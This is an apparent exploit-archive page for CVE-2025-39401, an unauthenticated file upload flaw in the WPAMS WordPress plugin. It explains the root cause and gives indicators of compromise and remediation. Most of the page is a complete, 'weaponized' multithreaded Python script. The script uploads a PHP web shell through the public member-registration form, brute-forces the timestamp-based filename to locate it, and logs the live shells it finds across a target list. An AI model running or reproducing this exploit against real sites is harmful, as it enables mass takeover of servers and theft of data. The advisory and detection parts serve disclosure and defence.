PoC Archive PoC Archive
Critical CVE-2025-39401 unpatched

WordPress WPAMS Plugin Arbitrary File Upload to RCE (CVE-2025-39401)

by Nxploited (Khaled Alenazi) · 2026-07-06

CVSS 10.0/10
Severity
Critical
CVE
CVE-2025-39401
Category
web
Affected product
WPAMS (WordPress Apartment/Property Management System) plugin by mojoomla
Affected versions
From n/a through 44.0 (17-08-2023)
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherNxploited (Khaled Alenazi)
CVE / AdvisoryCVE-2025-39401
Categoryweb
SeverityCritical
CVSS Score10.0 (per NVD)
StatusWeaponized
Tagswordpress, wpams, mojoomla, arbitrary-file-upload, webshell, rce, unauthenticated, python, multithreaded, cwe-434
RelatedN/A

Affected Target

FieldValue
Software / SystemWPAMS (WordPress Apartment/Property Management System) plugin by mojoomla
Versions AffectedFrom n/a through 44.0 (17-08-2023)
Language / PlatformPython 3.7+ (requests, rich), targets WordPress/PHP sites
Authentication RequiredNo — the exploit posts to the public member-registration form with no login
Network Access RequiredYes (HTTP/HTTPS to the target WordPress site)

Summary

The WPAMS WordPress plugin (<= 44.0) contains an Unrestricted Upload of File with Dangerous Type vulnerability (CWE-434): its public “apartment management member registration” form accepts an avatar/upload field (amgt_user_avatar) without validating the file’s type or extension, allowing a .php web shell to be stored under wp-content/uploads/apartment_assets/. The root cause is that the plugin trusts the client-supplied filename/extension and does not enforce an image-only allow-list on this unauthenticated endpoint. Because the plugin renames the uploaded file using a predictable pattern ({unix_timestamp}-pimg-in.{ext}), the PoC uploads a PHP web shell and then brute-forces a small window of timestamps around the upload time to locate and confirm the shell is live, across many targets concurrently via threading. Successful exploitation gives an unauthenticated attacker a web shell and full remote code execution on the underlying WordPress server.


Vulnerability Details

Root Cause

The plugin’s member-registration upload handler saves the file submitted in the amgt_user_avatar form field into wp-content/uploads/apartment_assets/ without restricting it to image MIME types/extensions, and derives the stored filename from the current server timestamp rather than a random/unguessable token:

{UNIX_TIMESTAMP}-pimg-in.{ext}

Since {ext} is taken from the uploaded file’s own name, submitting shell.php yields a stored file such as 1764279528-pimg-in.php, which PHP will execute when requested directly. Because the naming is timestamp-based rather than random, an attacker who knows roughly when the upload occurred can brute-force the small number of candidate filenames to find the shell.

Attack Vector

  1. Attacker prepares a PHP web shell named shell.php containing a known marker string (e.g. <b>Nxploited</b>) so success can be detected in the response body.
  2. Attacker POSTs the shell to the vulnerable, unauthenticated endpoint: {target}/apartment-management-member-registration-page/, using the amgt_user_avatar multipart field alongside dummy registration data (name, email, etc.).
  3. The plugin stores the file under wp-content/uploads/apartment_assets/{timestamp}-pimg-in.php using the server’s own upload timestamp.
  4. The script records the client-side upload time and brute-forces a small window (±5 seconds, several retries) of candidate timestamps, requesting each candidate URL and checking the response for the shell’s marker string.
  5. Once a 200 response containing the marker is found, the shell URL is confirmed live and logged; the shell can then be used to execute arbitrary PHP (and thus OS commands) on the server.
  6. The script repeats this against a list of targets in parallel using multiple threads.

Impact

An unauthenticated remote attacker can upload and execute a PHP web shell on any WordPress site running the vulnerable WPAMS plugin version, resulting in full remote code execution, defacement, data theft, and use of the compromised server as a pivot point.


Environment / Lab Setup

Target:   WordPress site with WPAMS plugin <= 44.0 (17-08-2023) installed and the apartment-management-member-registration-page active
Attacker: Python 3.7+, `pip install requests rich`, a PHP web shell saved as shell.php in the script's working directory

Proof of Concept

PoC Script

See CVE-2025-39401.py and requirements.txt in this folder.

1
2
3
pip install requests rich

python3 CVE-2025-39401.py

Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected .php files under wp-content/uploads/apartment_assets/
  • New WordPress “member” registrations with throwaway emails (e.g. *@poc.com) around the time of the upload
  • Outbound requests or command execution originating from PHP processes under the uploads directory
  • Entries in success_results.txt / uploaded_shells.txt-style artifacts if the attacker’s tooling/logs are recovered

Remediation

ActionDetail
Primary fixUpdate the WPAMS plugin to a version beyond 44.0 (17-08-2023) that restricts uploads to image types and randomizes stored filenames — verify against the vendor’s changelog/advisory
Interim mitigationDisable or restrict access to the public member-registration page, add a web-server rule to deny PHP execution under wp-content/uploads/apartment_assets/, and audit that directory for unexpected .php files

References


Notes

Mirrored from https://github.com/Nxploited/CVE-2025-39401 on 2026-07-06. Multithreaded exploit uploads shell.php via the WPAMS plugin’s member-registration form and brute-forces the timestamp-based filename; the tool follows Nxploited’s templated banner/CLI style, but the upload path, form field name, and filename-derivation logic are specific to this vulnerability and the exploit is functional as shipped.

CVE-2025-39401.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
import threading
import requests
import time
import os
import urllib3
from rich.console import Console
from rich.panel import Panel
from rich.text import Text
from rich import box

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

console = Console()
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
success_file = "success_results.txt"
uploaded_shells_file = "uploaded_shells.txt"
shell_local_file = "shell.php"

INITIAL_SLEEP_AFTER_UPLOAD = 5
NUM_RETRIES = 8
SLEEP_BETWEEN_RETRIES = 4
VERIFY_SSL = False
TIMESTAMP_WINDOW = 5  # seconds window for timestamp guessing

def ascii_banner():
    banner = r"""
 _____  ___   ___  ___    _______   ___        ______    __  ___________  _______  ________
(\"   \|"  \ |"  \/"  |  |   __ "\ |"  |      /    " \  |" \("     _   ")/"     "||"      "\
|.\\   \    | \   \  /   (. |__) :)||  |     // ____  \ ||  |)__/  \\__/(: ______)(.  ___  :)
|: \.   \\  |  \\  \/    |:  ____/ |:  |    /  /    ) :)|:  |   \\_ /    \/    |  |: \   ) ||
|.  \    \. |  /\.  \    (|  /      \  |___(: (____/ // |.  |   |.  |    // ___)_ (| (___\ ||
|    \    \ | /  \   \  /|__/ \    ( \_|:  \\        /  /\  |\  \:  |   (:      "||:       :)
 \___|\____\)|___/\___|(_______)    \_______)\"_____/  (__\_|_)  \__|    \_______)(________/
"""
    console.print(Text(banner, style="bold cyan"))
    info_panel = Panel(
        Text(
            "Author: Nxploited (Khaled Alenazi)\n"
            "Telegram: @KNxploited\n"
            "GitHub: github.com/Nxploited",
            style="bold magenta"
        ),
        box=box.ROUNDED,
        style="cyan"
    )
    console.print(info_panel)

def generate_filename(original_filename: str, mark: str = "pimg", ts: int = None):
    if ts is None:
        ts = int(time.time())
    ext = original_filename.rsplit(".", 1)[1] if "." in original_filename else ""
    return f"{ts}-{mark}-in.{ext}"

def write_result(filename, value):
    with open(filename, "a", encoding="utf-8") as f:
        f.write(f"{value}\n")

def check_shell(shell_url):
    try:
        r = requests.get(shell_url, headers={"User-Agent": user_agent}, timeout=15, verify=VERIFY_SSL)
        return r.status_code, r.text
    except Exception as e:
        return None, str(e)

def exploit_target(target_url, shell_marker):
    if not os.path.exists(shell_local_file):
        console.print(Panel(f"[ERROR] File '{shell_local_file}' not found.", style="bold red"))
        return

    upload_ts = int(time.time())
    email = f"nxploited_{upload_ts}@poc.com"

    files = {
        "amgt_user_avatar": (shell_local_file, open(shell_local_file, "rb"), "application/octet-stream")
    }
    data = {
        "building_id": "1",
        "unit_cat_id": "2",
        "unit_name": "Unit A",
        "member_type": "Owner",
        "first_name": "Nx",
        "last_name": "Ploited",
        "gender": "male",
        "birth_date": "1996-01-01",
        "mobile": "1122334455",
        "email": email,
        "password": "Nx123456!",
        "registration_front_member": "1"
    }

    upload_url = target_url.rstrip("/") + "/apartment-management-member-registration-page/"
    console.print(Panel(f"[EXPLOIT] Uploading shell to:\n{upload_url}", style="bold yellow"))

    try:
        requests.post(upload_url, data=data, files=files, headers={"User-Agent": user_agent}, verify=VERIFY_SSL)
        files["amgt_user_avatar"][1].close()
        console.print(Panel("[✓] Shell uploaded, searching for shell location...", style="bold green"))
    except:
        try: files["amgt_user_avatar"][1].close()
        except: pass
        console.print(Panel("[!] Shell upload failed", style="bold red"))
        return

    time.sleep(INITIAL_SLEEP_AFTER_UPLOAD)
    console.print(Panel(f"⏳ Brute-forcing timestamp window: {upload_ts-TIMESTAMP_WINDOW} to {upload_ts+TIMESTAMP_WINDOW} (window={TIMESTAMP_WINDOW})", style="bold cyan"))

    found = False
    for attempt in range(NUM_RETRIES):
        for delta in range(-TIMESTAMP_WINDOW, TIMESTAMP_WINDOW + 1):
            guessed_ts = upload_ts + delta + attempt
            shell_name = generate_filename(shell_local_file, ts=guessed_ts)
            shell_url = f"{target_url.rstrip('/')}/wp-content/uploads/apartment_assets/{shell_name}"

            status, body = check_shell(shell_url)
            if status == 200 and shell_marker in body:
                console.print(Panel(f"[✓] LIVE SHELL WORKING!\n{shell_url}", style="bold green"))
                write_result(success_file, f"{target_url} | {shell_url}")
                write_result(uploaded_shells_file, shell_url)
                found = True
                break
            elif status == 200:
                console.print(Text(f"[200] {shell_url} (shell marker not found)", style="bold yellow"))
            elif status:
                console.print(Text(f"[{status}] {shell_url}", style="bold red"))
            else:
                console.print(Text(f"[FAIL] No response from server: {shell_url}", style="bold red"))
        if found:
            break
        time.sleep(SLEEP_BETWEEN_RETRIES)
    if not found:
        console.print(Panel(f"[✗] Shell not accessible or not found:\n{target_url}", style="bold red"))

def split_list(lst, num):
    return [lst[i::num] for i in range(num)]

def thread_worker(targets, shell_marker):
    for target_url in targets:
        exploit_target(target_url, shell_marker)

def main():
    ascii_banner()
    list_file = console.input("[yellow]Enter targets file name (e.g., list.txt): [/]").strip()
    threads_count = console.input("[yellow]Enter number of threads (default 10): [/]").strip()
    shell_marker = console.input("[yellow]Enter shell marker to search for (default: <b>Nxploited</b>): [/]").strip()
    if not shell_marker:
        shell_marker = "<b>Nxploited</b>" # Default
    if not threads_count.isdigit() or int(threads_count) < 1:
        threads_count = 10
    else:
        threads_count = int(threads_count)

    with open(list_file, "r", encoding="utf-8") as f:
        targets = [line.strip() for line in f if line.strip()]
    split_targets = split_list(targets, threads_count)

    thread_list = []
    for chunk in split_targets:
        th = threading.Thread(target=thread_worker, args=(chunk, shell_marker))
        th.daemon = True
        th.start()
        thread_list.append(th)
    for th in thread_list:
        th.join()
    console.print(Panel("Done! Results in success_results.txt & uploaded_shells.txt.", style="bold green"))

if __name__ == "__main__":
    main()